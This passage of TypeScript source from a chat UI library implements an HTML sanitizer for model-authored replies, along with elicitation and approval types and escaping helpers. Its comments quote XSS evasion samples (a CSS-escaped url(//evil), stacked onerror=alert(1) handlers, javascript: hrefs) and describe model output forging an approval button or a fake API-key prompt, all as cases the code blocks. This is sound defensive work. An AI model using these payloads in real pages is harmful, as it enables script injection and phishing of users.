continue;\n const prop = trimmed.slice(0, idx).trim().toLowerCase();\n const val = trimmed.slice(idx + 1);\n if (!val.trim()) continue;\n if (!SAFE_STYLE_PROPS.has(prop) && !isSafeCustomProperty(prop)) continue;\n // A CSS identifier escape is a legal spelling of any character, so\n // `u\\72 l(//evil)` is `url(//evil)` written to walk straight past a\n // regex looking for the letters. DECODING it would be the general fix and\n // is easy to get wrong — stripping the escape yields `ul(`, not `url(`,\n // which is how the first attempt at this passed its own test.\n //\n // So: no backslash survives here at all. None of the properties this\n // allowlist keeps (colours, font weights, text-decoration, white-space)\n // has any legitimate use for a CSS escape, so refusing them outright\n // costs nothing and leaves nothing to decode correctly.\n if (val.includes('\\\\')) continue;\n if (/url\\s*\\(|expression\\s*\\(|javascript:|vbscript:|[<>]/i.test(val)) continue;\n kept.push(trimmed); // preserve the original declaration text (no reformatting)\n }\n return kept.length ? kept.join('; ') : null;\n}\n\nfunction copyAttributes(src: Element, dest: Element, tag: string): void {\n const extra = TAG_ATTRS[tag];\n for (const attr of Array.from(src.attributes)) {\n const name = attr.name.toLowerCase();\n const value = attr.value;\n // Event handlers and form-action overrides are never allowed.\n if (name.startsWith('on') || name.startsWith('formaction')) continue;\n // data-* attributes are inert (no execution path) and widely emitted by\n // markdown/highlight tooling — allowed, matching DOMPurify's default.\n if (!name.startsWith('data-') && !GLOBAL_ATTRS.has(name) && !(extra && extra.has(name))) continue;\n if (URL_ATTRS.has(name) && !isSafeUrl(value, tag)) continue;\n // `input` is allowlisted for ONE thing — a GFM task-list checkbox — so `type`\n // is examined: `<input type=\"password\" title=\"API key\">` would render a\n // credential prompt inside a reply. Nothing here reads what is typed (`form`, `button` and\n // `name` are refused, `on*` never copied, and the style allowlist has no\n // `position`, so it cannot be lifted out of the bubble either) — the ASK is\n // the attack, and the checkbox is the only type the allowlist was for.\n if (tag === 'input' && name === 'type' && value.toLowerCase() !== 'checkbox') continue;\n if (name === 'srcset' && !isSafeSrcset(value, tag)) continue;\n if (name === 'style') {\n const scrubbed = scrubStyle(value);\n if (scrubbed === null) continue;\n dest.setAttribute('style', scrubbed);\n continue;\n }\n if (name === 'class') {\n // `class` is allowlisted because a highlighter's output is mostly\n // classes — and that let model-authored markup WEAR core's own names:\n // `<div class=\"aparte-approval-option aparte-btn\">Approve</div>` painted\n // a pixel-perfect approval button inside the transcript, and every other\n // core surface can be forged the same way. Core owns the `aparte-` prefix\n // wherever it emits a class, so nothing arriving from a provider keeps\n // one. Everything else survives, `language-*` included — that is the\n // class highlighters are identified by, and it is not ours.\n const kept = value.split(/\\s+/).filter((token) => token && !APARTE_CLASS.test(token));\n if (!kept.length) continue;\n dest.setAttribute('class', kept.join(' '));\n continue;\n }\n dest.setAttribute(name, value);\n }\n if (tag === 'a') {\n // An external link opens in its own tab by default. The link was written by\n // the model, and a bare `<a href=\"https://…\">` navigates the frame the chat\n // lives in — in an Electron window, the whole application. `marked`\n // sets no `target`, so without this every reply link would do exactly that. A host that\n // routes links itself listens for the bubble's cancelable `aparte-link-click`.\n // Same-site and in-page links (relative, `#`, `mailto:`) are left as written.\n //\n // What the model does NOT get is the choice. Copying `target` through would let\n // `_top`/`_parent` break out of the frame — no external URL required — and a\n // NAMED target (`target=\"victimframe\"`) open a page holding a live\n // `window.opener`, the reverse-tabnabbing this code hardens against two lines\n // down. `rel` is not copied either, so `rel=\"opener\"` cannot cancel it.\n // So the attribute is read as a WISH and clamped: `_self` is honoured\n // where it changes nothing a browser would not already do — i.e. on a link\n // that was staying here anyway — and anything else becomes a new tab that\n // cannot reach back. `_self` on an EXTERNAL href is not a preference, it\n // is a downgrade: the same link with no `target` opens a new tab, so\n // honouring it would hand the model precisely the outcome named above.\n const href = (dest.getAttribute('href') ?? '').replace(CONTROL_WS, '');\n const wish = (src.getAttribute('target') ?? '').trim().toLowerCase();\n if (wish === '_self' && !EXTERNAL_URL.test(href)) {\n dest.setAttribute('target', '_self');\n } else if (wish || EXTERNAL_URL.test(href)) {\n dest.setAttribute('target', '_blank');\n // Harden links opened in a new tab against reverse-tabnabbing.\n dest.setAttribute('rel', 'noopener noreferrer');\n }\n }\n}\n\nfunction sanitizeChildren(src: Node, dest: Node, doc: Document): void {\n for (const child of Array.from(src.childNodes)) {\n if (child.nodeType === 3 /* TEXT_NODE */) {\n dest.appendChild(doc.createTextNode(child.nodeValue ?? ''));\n continue;\n }\n if (child.nodeType !== 1 /* ELEMENT_NODE */) continue; // drop comments, CDATA, PIs\n const el = child as Element;\n const tag = el.tagName.toLowerCase();\n if (DANGEROUS_TAGS.has(tag)) continue; // remove entirely — do not surface its text\n if (!ALLOWED_TAGS.has(tag)) {\n sanitizeChildren(el, dest, doc); // unknown-but-benign → unwrap, keep sanitized children\n continue;\n }\n const clean = doc.createElement(tag);\n copyAttributes(el, clean, tag);\n sanitizeChildren(el, clean, doc);\n dest.appendChild(clean);\n }\n}\n\n/**\n * The three document-structure tags, kept out of the paired pass below: a real\n * parser hoists them and keeps what they wrapped, so eating their content would\n * lose the answer rather than protect anyone. Their tags still go (the lone pass\n * takes them, `<body onload=…>` included).\n */\nconst UNWRAPPED_TAGS = new Set(['html', 'head', 'body']);\n\nconst DANGEROUS_ALT = Array.from(DANGEROUS_TAGS).join('|');\nconst DANGEROUS_PAIRED_ALT = Array.from(DANGEROUS_TAGS).filter((t) => !UNWRAPPED_TAGS.has(t)).join('|');\n\n/** `<script>…</script>` — the tag and everything it wrapped. */\nconst PAIRED_DANGEROUS = new RegExp(`<\\\\s*(${DANGEROUS_PAIRED_ALT})\\\\b[\\\\s\\\\S]*?<\\\\s*\\\\/\\\\s*\\\\1\\\\s*>`, 'gi');\n/** Whatever the pass above could not pair: an unclosed `<svg>`, a stray `</form>`. */\nconst LONE_DANGEROUS = new RegExp(`<\\\\s*\\\\/?\\\\s*(?:${DANGEROUS_ALT})\\\\b[^>]*>`, 'gi');\n/**\n * An inline handler, and what may sit in front of it. HTML ends an attribute at a\n * space, at `/`, and at the closing quote of the previous value — so\n * `<img src=x/onerror=…>` and `<img src=\"x\"onerror=\"…\">` are both handlers, and a\n * leading `\\s` saw neither. The match is replaced by a SPACE, not by nothing, so\n * removing the attribute cannot glue its neighbours into one token.\n */\nconst INLINE_HANDLER = /[\"'/\\s]on[a-z]+\\s*=\\s*(?:\"[^\"]*\"|'[^']*'|[^\\s>]+)/gi;\n/**\n * A URL-bearing attribute carrying an executable (or document-typed) scheme.\n * Unanchored on purpose: unlike the handler above it requires no separator, so\n * demanding one would only create a hole (`<a x=1href=javascript:…>`).\n */\nconst UNSAFE_SCHEME_ATTR = /(?:href|src|xlink:href)\\s*=\\s*(?:\"\\s*(?:javascript|vbscript|data):[^\"]*\"|'\\s*(?:javascript|vbscript|data):[^']*'|(?:javascript|vbscript|data):[^\\s>]*)/gi;\n\n/**\n * Best-effort scrub for environments WITHOUT a DOM parser (SSR/Node). A regex\n * pass cannot match a real HTML parser and has known evasions (split attributes,\n * unclosed tags, entity tricks): it is a safety net, **not** a security boundary.\n * For untrusted content on a non-browser runtime, register a real sanitizer\n * (e.g. DOMPurify + jsdom) via `aparteGlobalConfig.setHtmlSanitizer`.\n *\n * Both tag passes read `DANGEROUS_TAGS`, the one list the DOM path uses, so an\n * UNCLOSED `svg`, `math` or `form` is caught as well as a closed one.\n */\nfunction fallbackScrub(html: string): string {\n let out = html.replace(PAIRED_DANGEROUS, '').replace(LONE_DANGEROUS, '');\n // Run the handler pass to a FIXED POINT. The match consumes the separator in\n // front of it, so two handlers written back to back\n // (`<img src=x onload=\"0\"onerror=\"alert(1)\">`) lose the quote that would have\n // separated the second one and it survives a single pass — a live `on*`\n // attribute out of the very net this function is. The replacement inserts a\n // space, which restores the separator for the next round. Bounded: every\n // match is at least six characters and becomes one, so each pass is strictly\n // shorter.\n for (let next = out.replace(INLINE_HANDLER, ' '); next !== out; next = out.replace(INLINE_HANDLER, ' ')) {\n out = next;\n }\n return out.replace(UNSAFE_SCHEME_ATTR, ' ');\n}\n\n/**\n * The built-in sanitizer. Parses `html` with the platform DOMParser, rebuilds an\n * allowlisted tree, and re-serializes it. Falls back to a regex scrub only when\n * no DOMParser exists (non-browser runtime).\n */\nexport const defaultSanitizer: AparteSanitizer = (html: string): string => {\n if (!html) return html;\n if (typeof DOMParser === 'undefined') return fallbackScrub(html);\n let doc: Document;\n try {\n doc = new DOMParser().parseFromString(html, 'text/html');\n } catch {\n return fallbackScrub(html);\n }\n const container = doc.createElement('div');\n sanitizeChildren(doc.body, container, doc);\n return container.innerHTML;\n};\n","/**\n * Elicitation — the generic \"pause the run and ask the user for typed input\"\n * primitive. Generalises the bespoke `ask_user` tool: the KIND of question\n * is carried by a flat schema, not by a dedicated tool. Shape is aligned with\n * MCP elicitation (message + requested schema, accept/decline), but the\n * mechanism is transport-agnostic and framework-agnostic — a typed presenter\n * registered per config instance, never window events.\n */\n\n/** A single choice field: radios (default) or checkboxes (`multiple`). */\nexport interface AparteElicitationEnumField {\n type: 'enum';\n title?: string;\n /**\n * A SHORT label for this question — two or three words, no sentence.\n *\n * A multi-question form is presented one question at a time, with a chip per\n * question, and a chip cannot hold a sentence. `title` is the question as the\n * user reads it; `header` is how it is referred to. Omitted, the chip falls back\n * to the question's position, which is honest and never truncates badly.\n */\n header?: string;\n description?: string;\n options: Array<{ value: string; label?: string; description?: string; recommended?: boolean }>;\n /** Checkboxes (multi-select) instead of radios. */\n multiple?: boolean;\n /** Offer a free-text \"Other…\" fallback. Default true. */\n allowOther?: boolean;\n /** Pre-selected value (or values, when `multiple`). */\n default?: string | string[];\n}\n\n/** A yes/no field, rendered as two choices. */\nexport interface AparteElicitationBooleanField {\n type: 'boolean';\n title?: string;\n /**\n * A SHORT label for this question — two or three words, no sentence.\n *\n * A multi-question form is presented one question at a time, with a chip per\n * question, and a chip cannot hold a sentence. `title` is the question as the\n * user reads it; `header` is how it is referred to. Omitted, the chip falls back\n * to the question's position, which is honest and never truncates badly.\n */\n header?: string;\n description?: string;\n default?: boolean;\n /** Labels for the two choices (fall back to the locale yes/no). */\n trueLabel?: string;\n falseLabel?: string;\n}\n\n/** A free-text field. */\nexport interface AparteElicitationStringField {\n type: 'string';\n title?: string;\n /**\n * A SHORT label for this question — two or three words, no sentence.\n *\n * A multi-question form is presented one question at a time, with a chip per\n * question, and a chip cannot hold a sentence. `title` is the question as the\n * user reads it; `header` is how it is referred to. Omitted, the chip falls back\n * to the question's position, which is honest and never truncates badly.\n */\n header?: string;\n description?: string;\n placeholder?: string;\n default?: string;\n /** Render a multi-line textarea. */\n multiline?: boolean;\n /** Required to accept. Default true. */\n required?: boolean;\n minLength?: number;\n maxLength?: number;\n}\n\n/** A single input field. */\nexport type AparteElicitationField =\n | AparteElicitationEnumField\n | AparteElicitationBooleanField\n | AparteElicitationStringField;\n\n/** A multi-field form: one labelled field per property. */\nexport interface AparteElicitationObjectSchema {\n type: 'object';\n properties: Record<string, AparteElicitationField>;\n /** Which keys must be filled to accept. Default: all of them. */\n required?: string[];\n}\n\n/** The schema for a request: a single field, or an object (form) of fields. */\nexport type AparteElicitationSchema = AparteElicitationField | AparteElicitationObjectSchema;\n\nexport interface AparteElicitationRequest {\n /** Human-readable prompt shown above the input(s). */\n /**\n * The sentence above everything else. A string, or a function re-read on relabel.\n *\n * Same reason as an option's `label`: the question has to follow a language switch\n * too, or a panel asks \"Run delete_file?\" over buttons in another language. A\n * resolved string has nothing to re-derive from.\n *\n * A function only makes sense when the text comes from the LOCALE, which is core's\n * own approval question. A tool's question is model-authored: it is a string, and\n * re-reading it would mean nothing.\n */\n message: string | (() => string);\n /**\n * The body under the question: what is actually being decided.\n *\n * TEXT, and shown as text — a preformatted block the panel renders through\n * `textContent`. It carries what a person is being asked to approve (for a tool,\n * the arguments the model chose), so the decision surface shows what is being\n * decided and not only the tool's name.\n *\n * Not markup, and not a render hook: the content here is model-authored, so the\n * string arm of a hook would be a model-to-DOM XSS on the highest-stakes control\n * in the library. A host that wants a diff view registers its own presenter.\n *\n * Ignored on `kind: 'question'` — a question's body is its schema.\n */\n details?: string;\n /** What to ask for. */\n /**\n * What value to collect. Required on a `'question'`, absent on an `'approval'` —\n * a decision is not a value, and a schema there would be a form with nothing in it.\n */\n schema?: AparteElicitationSchema;\n /**\n * An element inside the target chat, used to resolve WHICH instance presents\n * the request (its config + composer). Omit for the global/default chat.\n */\n target?: HTMLElement | null;\n /**\n * What kind of request this is, which decides what the panel puts on screen.\n *\n * `'question'` (the default) collects a VALUE against `schema`. `'approval'` asks\n * the user to pick one of `options` — a decision, not a value — and its answer is\n * an {@link AparteApprovalAnswer}. One mechanism, two presentations: what a person\n * is being asked for differs, where they answer does not.\n */\n kind?: 'question' | 'approval';\n /**\n * The options offered, on `kind: 'approval'`. Required there, ignored otherwise.\n *\n * Supplied per request, never fixed by core: a gate that has nowhere to remember a\n * grant offers two, one that does offers three. Rendering an option the host cannot\n * honour is the affordance rule read backwards.\n */\n options?: readonly AparteApprovalOption[];\n /**\n * Aborts the request — the panel closes and the promise REJECTS with\n * {@link AparteElicitationAbortError}. Pass a tool handler's signal so a\n * client-side timeout or a stopped turn tears the panel down instead of leaving\n * it open.\n */\n signal?: AbortSignal;\n}\n\n/**\n * One thing the user can pick on an approval.\n *\n * The requester writes the LABEL, always. Core cannot know that \"and always for git\n * commands\" is meaningful, or that this workspace has somewhere to remember it — so an\n * option offering a scope exists only because the host built it and can honour it.\n * Two options may share a `value` and differ only in scope,\n * which is what \"Yes\" and \"Yes, and always for X\" are: the same verdict, a different\n * reach.\n */\nexport interface AparteApprovalOption {\n /** What {@link AparteApprovalAnswer.option} reports when this one is chosen. */\n value: string;\n /**\n * What the user reads. A string, or a function re-read on every relabel.\n *\n * The function arm exists because these are the highest-stakes strings in the\n * library and they have to follow a language switch WHILE the request is open — a\n * person deciding whether to let a tool run should not be reading the choice in a\n * language they did not pick. A plain string cannot: the panel receives it already\n * resolved and has nothing to re-derive it from.\n *\n * So core's own two options pass a function that reads the locale, and a host\n * passes whatever it likes: its label is its string, and core has no business\n * translating it.\n */\n label: string | (() => string);\n /**\n * What choosing it commits to, drawn under the label — the scope of an \"always\".\n *\n * A label can say \"Always allow\" and not what that reaches: a host that remembers\n * only the first word of a command (`git`, for `git status`) would have the user\n * authorise every git command believing they had authorised one. Two options that\n * differ only in reach differ on screen: `description: 'git status'` beside\n * `description: 'git *'`.\n *\n * Same two arms as `label`, for the same reason: it follows a language switch\n * while the request is open.\n */\n description?: string | (() => string);\n /**\n * How it is drawn. `'affirm'` and `'deny'` are the two poles a decision has; a\n * third would be a preference, not a meaning, so there is no `'neutral'`.\n */\n tone?: 'affirm' | 'deny';\n}\n\n/**\n * What an approval resolves with, as `content`.\n *\n * `instruction` is the free-text arm — \"no, do this instead\" — and it is a separate\n * field rather than a magic `option` value because only the host can name its options,\n * and this text is the user's. It reaches the model as the refusal's reason, which is\n * possible because a refusal hands the model a turn to read it in.\n */\nexport interface AparteApprovalAnswer {\n /** The `value` of the option chosen, or `undefined` when only text was given. */\n option?: string;\n /** What the user typed instead, if they typed anything. */\n instruction?: string;\n}\n\n/**\n * The user's response. `content` matches the schema:\n * enum→string, enum+multiple→string[], boolean→boolean, string→string,\n * object→Record<key, value>.\n */\nexport type AparteElicitationResult =\n | { action: 'accept'; content: unknown }\n | { action: 'decline' };\n\n/**\n * The request ended without an answer: the turn was stopped, the signal fired, the\n * question was taken away by another request, or nothing was mounted to ask it.\n *\n * A THROW, and not a third member of {@link AparteElicitationResult}. A value is easy\n * to handle as though it were an answer: a cancelled request read as a refusal would\n * tell the model \"Tool execution was rejected by the user.\" when the user had pressed\n * Stop. A rejection cannot be mistaken for a decision by a caller that forgot a branch.\n *\n * `name` is `'AbortError'`, so every `err.name === 'AbortError'` check already written\n * treats it correctly.\n */\nexport class AparteElicitationAbortError extends DOMException {\n /**\n * Which of the two ways it ended.\n *\n * `'no-presenter'` is a developer's setup problem and `'aborted'` is a person\n * stopping something; a host that reports them the same way reports a bug as a\n * user action. The distinction is why this carries a field at all.\n */\n readonly reason: 'aborted' | 'no-presenter';\n\n constructor(reason: 'aborted' | 'no-presenter' = 'aborted') {\n super(\n reason === 'no-presenter'\n ? 'No elicitation presenter is mounted, so the request could not be shown.'\n : 'The request ended without an answer.',\n 'AbortError',\n );\n this.reason = reason;\n }\n}\n\n/**\n * Presents an elicitation request and resolves with the user's response, or rejects\n * with {@link AparteElicitationAbortError} when it ends without one.\n * Registered per config instance via `aparteGlobalConfig.setElicitationPresenter`\n * (the `<aparte-elicitation>` Web Component is the default presenter).\n */\nexport type AparteElicitationPresenter = (request: AparteElicitationRequest) => Promise<AparteElicitationResult>;\n","/**\n * HTML escaping — one implementation, for every interpolation core makes.\n *\n * Escapes all five characters that matter, which makes the result safe in BOTH\n * text position and quoted-attribute position (single or double quotes). Callers\n * that read better saying \"attribute\" use {@link escapeAttr}, which is this same\n * function under a second name — an alias, deliberately not a second body.\n *\n * PUBLIC. Both names are exported from the barrel and documented in the\n * customization guide, because a render hook that returns a string needs them.\n */\nexport function escapeHtml(value: string): string {\n // The single implementation for the whole package: duplicated copies of a security\n // helper drift apart, and nothing at the call site says which one stopped matching.\n let out = '';\n for (let i = 0; i < value.length; i++) {\n const ch = value[i];\n if (ch === '&') out += '&amp;';\n else if (ch === '<') out += '&lt;';\n else if (ch === '>') out += '&gt;';\n else if (ch === '\"') out += '&quot;';\n else if (ch === \"'\") out += '&#039;';\n else out += ch;\n }\n return out;\n}\n\n/**\n * The same escaping as {@link escapeHtml}, named for the position it guards.\n *\n * An attribute value needs exactly the same five characters escaped as a text\n * node — quotes to keep the value from ending early, angle brackets so a broken\n * value cannot start a tag, and the ampersand so none of it can be smuggled back\n * in as an entity. Two names, one body.\n *\n * REQUIRES A QUOTED ATTRIBUTE. `title=\"${escapeAttr(v)}\"` and `title='…'` are\n * both safe; bare `title=${escapeAttr(v)}` is NOT, because a space, tab, newline\n * or backtick in the value ends an unquoted attribute and starts the next one —\n * and none of those five escaped characters is one of them. No unquoted attribute\n * interpolation exists in the library.\n *\n * The fix is to quote the attribute, not to escape harder: encoding spaces would\n * make every legitimate `title=\"Hello world\"` read `Hello&#32;world`.\n */\nexport const escapeAttr = escapeHtml;\n// In this repo, `pnpm check:attr-escaping` rejects an unquoted attribute interpolation\n// outright rather than trusting `escapeAttr` to cover a position it cannot.\n","/**\n * Which chat an element belongs to.\n *\n * The predicate is two-legged and both legs are load-bearing: `<aparte-chat>` is the\n * vanilla shell AND Angular's component (its selector is `aparte-chat`), and the other\n * three wrappers render a plain `<div data-aparte-chat id=\"…\">` — so matching only the\n * tag finds the boundary in two frameworks out of five.\n *\n * A third leg, `<aparte-chat-component>`, was carried here and at four other sites as\n * \"Angular's tag\". Angular has never used it — and core knowing a wrapper's tag name\n * at all is the framework axis leaking into the engine. Gone.\n *\n * Extracted because it was written out four times (the bubble's target-id walk, the\n * composer's, the elicitation presenter's composer walk, and the presenter routing in\n * `AparteConfig`), which is the duplication threshold CLAUDE.md sets for a new layer.\n * A fifth copy is how the three-legged predicate loses a leg.\n */\n\n/**\n * True when `el` is the host element of a chat, in any of the four framework shapes.\n *\n * Not exported: `chatBoundaryOf` is the only caller, and an export nothing uses is a\n * contract maintained for nobody.\n */\nfunction isChatBoundary(el: Element | null | undefined): boolean {\n if (!el) return false;\n const tag = el.tagName?.toLowerCase();\n return tag === 'aparte-chat'\n || el.hasAttribute?.('data-aparte-chat') === true;\n}\n\n/**\n * The nearest chat host at or above `el`, or `null`.\n *\n * Identity is the point: two elements are in the same chat when this returns the same\n * node for both. That is what makes it usable for routing a request to the presenter\n * that lives beside the transcript rather than above it, where `contains` would fail.\n */\nexport function chatBoundaryOf(el: Element | null | undefined): HTMLElement | null {\n let node: Element | null = el ?? null;\n while (node) {\n if (isChatBoundary(node)) return node as HTMLElement;\n node = node.parentElement;\n }\n return null;\n}\n\n/*\n * NOT extracted here, deliberately: the bubble's and the composer's target-id walks\n * (`aparte-chat-bubble.ts`, `aparte-composer.ts`) look like this one but are not. They\n * test `isHost && el.id` and keep CLIMBING past an id-less host to find an enclosing one\n * that has an id, where `chatBoundaryOf` stops at the first boundary. Folding them in\n * would change which chat an element is attributed to — a behaviour change wearing a\n * refactor's clothes. They can be unified once someone decides which rule is right; that\n * is a separate change with its own reasoning.\n */\n","/**\n * AparteConfig\n * \n * Central configuration class for Aparte. `aparteGlobalConfig` is the page-wide instance.\n * Manages providers for Markdown rendering, Syntax Highlighting and Icons.\n * \n * \"Invisible but Flexible\": Works out-of-the-box with sensible defaults,\n * but allows complete customization via dependency injection.\n */\n\nimport { AparteIconProvider, AparteCoreIconName, APARTE_DEFAULT_ICON_FALLBACKS } from './icon-provider.js';\nimport { AparteAvatarProvider } from './avatar-provider.js';\nimport { AparteLocale, AparteLocaleExtensions, APARTE_DEFAULT_LOCALE } from './locale.js';\nimport { AparteAction, AparteActionZone } from './action-provider.js';\nimport type { AparteStatusRenderer } from './status-renderer.js';\nimport type { AparteErrorRenderer } from './error-renderer.js';\nimport type { AparteAttachmentRenderer } from './attachment-renderer.js';\nimport type { AparteElicitationFieldRenderer } from './elicitation-field-renderer.js';\nimport type { AparteSiblingNavRenderer } from './sibling-nav-renderer.js';\nimport type { AparteBubbleShellRenderer } from './bubble-shell-renderer.js';\nimport type { AparteAIProvider, AparteAIModel, AparteModelConfig } from '../types/model-provider.js';\nimport type { AparteTransport } from '../transport/index.js';\nimport { AparteDirectTransport } from '../transport/index.js';\nimport type {\n AparteTool, AparteToolHandler, AparteToolRenderer, AparteToolSummary, AparteToolInputFormatter, AparteToolCall,\n AparteApprovalPolicy, AparteApprovalRuling,\n} from '../types/tools.js';\nimport type { AparteSegmentDefaults } from '../types/segments.js';\nimport type { AparteStreamBlock } from '../types/stream-blocks.js';\nimport type { AparteBubbleActionsConfig, AparteBubbleActionName, AparteHostHandlersConfig } from '../types/models.js';\nimport type { AparteConversationManager } from '../conversations/conversation-manager.js';\nimport { defaultSanitizer, type AparteSanitizer } from './sanitize.js';\nimport type { AparteElicitationPresenter, AparteElicitationRequest, AparteElicitationResult } from '../elicitation/types.js';\nimport { AparteElicitationAbortError } from '../elicitation/types.js';\nimport { escapeHtml } from '../utils/escape.js';\nimport { chatBoundaryOf } from '../utils/chat-boundary.js';\n\nexport type AparteMarkdownProvider = (raw: string) => string;\nexport type AparteHighlightProvider =\n | ((code: string, lang: string) => string)\n | ((code: string, lang: string) => Promise<string>);\nexport type AparteSystemPromptVarsProvider = () => Record<string, string>;\nexport type AparteLocaleProvider = AparteLocale;\n/**\n * How the page answers \"what are this provider's credentials?\".\n *\n * A bare key, or the same `{ apiKey, endpoint }` record the transport reads\n * (`readAuth`) and `fetchModels` accepts. The record is not a nicety: a consumer\n * who points a preset at their own host — a corporate proxy, a self-hosted vLLM,\n * an LM Studio box — configures it as `endpoint`, and `refreshProviderModels` needs\n * that endpoint to fetch the model list from that host rather than the vendor's.\n */\nexport type AparteKeyProvider = (providerId: string) =>\n | string | Record<string, string> | undefined | null\n | Promise<string | Record<string, string> | undefined | null>;\n\n/**\n * The bubble-action defaults — `copy` on, everything else off.\n *\n * The rule: an affordance core cannot honor end-to-end does not appear by\n * default. Core can copy text by itself; retry and edit only do something when a\n * host (`AparteClient`) re-sends and rewrites, and feedback/info only when the app\n * listens for `aparte-feedback` / `aparte-message-info`. Rendering them\n * unconditionally showed dead buttons in every display-only integration — ours\n * included, which is how we found it.\n *\n * Exported so a consumer can read the defaults instead of hard-coding them.\n */\nexport const APARTE_DEFAULT_BUBBLE_ACTIONS = {\n copy: true,\n retry: false,\n edit: false,\n feedback: false,\n info: false,\n} as const;\n\n/**\n * The host-handler declarations — nothing declared.\n *\n * Same rule as {@link APARTE_DEFAULT_BUBBLE_ACTIONS}, applied outside the action bar: an\n * image tile you can click is a request core forwards to the app. Undeclared, it is\n * not rendered (and the tile is not even signalled as clickable) instead of doing\n * nothing.\n */\nexport const APARTE_DEFAULT_HOST_HANDLERS = {\n attachmentPreview: false,\n} as const;\n\nexport interface AparteModelPreference {\n provider: string;\n model: string;\n}\n\nexport interface AparteModelPreferenceProvider {\n /** Called whenever the selected provider+model changes */\n save: (provider: string, model: string) => void;\n /** Called on init to restore the previously saved selection. Return null if nothing stored. */\n load: () => AparteModelPreference | null;\n}\n\n/**\n * Incremental Markdown renderer bound to a target element. Created once per\n * streaming message: tokens are fed via `write()` and parsed + appended to the\n * DOM incrementally (O(n) total — no full re-parse / innerHTML rebuild on every\n * token). `end()` flushes any pending text when the stream completes.\n */\nexport interface AparteStreamingMarkdownRenderer {\n /** Append a chunk of Markdown text — parsed incrementally, appended as DOM nodes. */\n write(chunk: string): void;\n /** Finalize the stream (flush any pending text). */\n end(): void;\n}\n\n/**\n * Factory for an {@link AparteStreamingMarkdownRenderer}: given a target element,\n * returns a renderer that appends parsed Markdown into it. Supplied by an\n * opt-in provider package (e.g. `@aparte/provider-streaming-markdown`); when none\n * is registered the chat falls back to the one-shot `AparteMarkdownProvider`.\n */\nexport type AparteStreamingMarkdownProvider = (target: HTMLElement) => AparteStreamingMarkdownRenderer;\n\n/** The queue tail must never reject, so a failed request cannot wedge every later one. */\nconst NOOP = (): void => { /* deliberately empty */ };\n\n/**\n * How many times each config's Markdown, streaming-Markdown or highlight provider changed.\n * A bubble records the count it drew with and draws again when it moves, so a provider\n * set after a message was drawn still reaches it: a static bubble upgraded by core's own\n * import, or a restored conversation drawn while a highlighter was still loading\n * (`setupShikiProviderFromHighlighter(await createHighlighterCore(…))`).\n * Internal to core: not exported from the package.\n */\nconst renderingVersions = new WeakMap<AparteConfig, number>();\n\nexport function renderingVersionOf(cfg: AparteConfig): number {\n return renderingVersions.get(cfg) ?? 0;\n}\n\nfunction bumpRenderingVersion(cfg: AparteConfig): void {\n renderingVersions.set(cfg, renderingVersionOf(cfg) + 1);\n}\n\n/**\n * A provider's drawing for `name`, own or inherited — a provider may be a class — but never\n * one `Object.prototype` lends every object (`toString`, `constructor`).\n */\nfunction drawingOf(provider: object | undefined, name: string): (() => string) | undefined {\n if (!provider || !(name in provider) || name in Object.prototype) return undefined;\n const fn = (provider as Record<string, unknown>)[name];\n return typeof fn === 'function' ? (fn as () => string).bind(provider) : undefined;\n}\n\n/**\n * The layers `registerIcons` put over a provider. A later call adds to its layer in place, so\n * the chain a lookup walks stays one layer deep however often icons are registered.\n */\nconst iconLayers = new WeakSet<object>();\n\n/** Every name along a provider's prototype chain, short of `Object.prototype`. */\nfunction namesOf(provider: object | undefined): string[] {\n const names = new Set<string>();\n for (let o: object | null | undefined = provider; o && o !== Object.prototype; o = Object.getPrototypeOf(o)) {\n for (const name of Object.getOwnPropertyNames(o)) if (name !== 'constructor') names.add(name);\n }\n return [...names];\n}\n\n/**\n * Everything a chat is configured with: the providers and the selected model, the\n * transport and the keys, the tools, the renderers and render hooks, the Markdown and\n * highlight providers, the locale, the icons, the avatars, the actions.\n *\n * {@link aparteGlobalConfig} is the one every chat on the page reads. A chat that needs a\n * configuration of its own takes a `new AparteConfig()` attached to its element or to an\n * ancestor with {@link attachConfig}; the framework wrappers take it as their `config` prop.\n *\n * A change to what is drawn — providers, the model, the locale, icons, avatars, actions,\n * renderers — reaches the components already on the page: {@link AparteConfig.subscribe | subscribe()} listeners are\n * called, and `aparte-config-change` is dispatched on `window` with the instance that changed.\n * The Markdown, streaming-Markdown and highlight providers are among them: a message drawn\n * before they were set is drawn again with them (one still streaming, once it ends). The\n * sanitizer, segment defaults, tools, tool renderers and summaries apply to what is drawn\n * after they are set, so set them before the chat renders; the transport, the keys and the\n * system prompt apply from the next request.\n */\nexport class AparteConfig {\n private _markdownProvider?: AparteMarkdownProvider;\n private _streamingMarkdownProvider?: AparteStreamingMarkdownProvider;\n private _highlightProvider?: AparteHighlightProvider;\n // HTML sanitizer applied to markdown/highlight PROVIDER output (untrusted,\n // LLM-authored) before it is injected via innerHTML. Default = built-in\n // zero-dep allowlist sanitizer; `null` disables it (trusted content only).\n private _sanitizer: AparteSanitizer | null = defaultSanitizer;\n private _systemPromptTemplate?: string;\n private _systemPromptVarsProvider?: AparteSystemPromptVarsProvider;\n private _statusRenderer?: AparteStatusRenderer;\n private _errorRenderer?: AparteErrorRenderer;\n private _attachmentRenderer?: AparteAttachmentRenderer;\n private _siblingNavRenderer?: AparteSiblingNavRenderer;\n private _bubbleShellRenderer?: AparteBubbleShellRenderer;\n private _iconProvider?: AparteIconProvider;\n private _avatarProvider?: AparteAvatarProvider;\n private _keyProvider?: AparteKeyProvider;\n /**\n * Sources added with `registerKeyProvider` — consulted before `_keyProvider`,\n * newest first (see `getKey`).\n */\n private _extraKeyProviders: Set<AparteKeyProvider> = new Set();\n private _locale: AparteLocale = APARTE_DEFAULT_LOCALE;\n private _actions: AparteAction[] = [];\n private _listeners: Set<() => void> = new Set();\n\n // AI Provider Management (BYORK)\n private _aiProviders: Map<string, AparteAIProvider> = new Map();\n /**\n * What `refreshProviderModels()` last brought back, per provider.\n *\n * `getCurrentModel()` reads it beside `provider.getModels()`, the SYNCHRONOUS,\n * hand-declared list, which every preset of `@aparte/provider-openai-compat`\n * leaves empty because a compat endpoint's list is fetched at runtime. Without\n * the fetched list the current model resolves to `undefined`, and its declared\n * capabilities are unknown: `AparteClient._toolsForCurrentModel()` still sends the\n * tools then, and it is the fetched list that lets a model which declares no\n * `function_calling` be honoured.\n */\n private _fetchedModels: Map<string, AparteAIModel[]> = new Map();\n private _modelConfig: AparteModelConfig = {};\n /** Opt-in: gate the composer (block send + grey out) until a model is selected. */\n private _requireModelSelection = false;\n /** Host policy for the elicitation panel's free-text escape — see {@link setElicitationOptions}. */\n private _elicitationAllowOther = 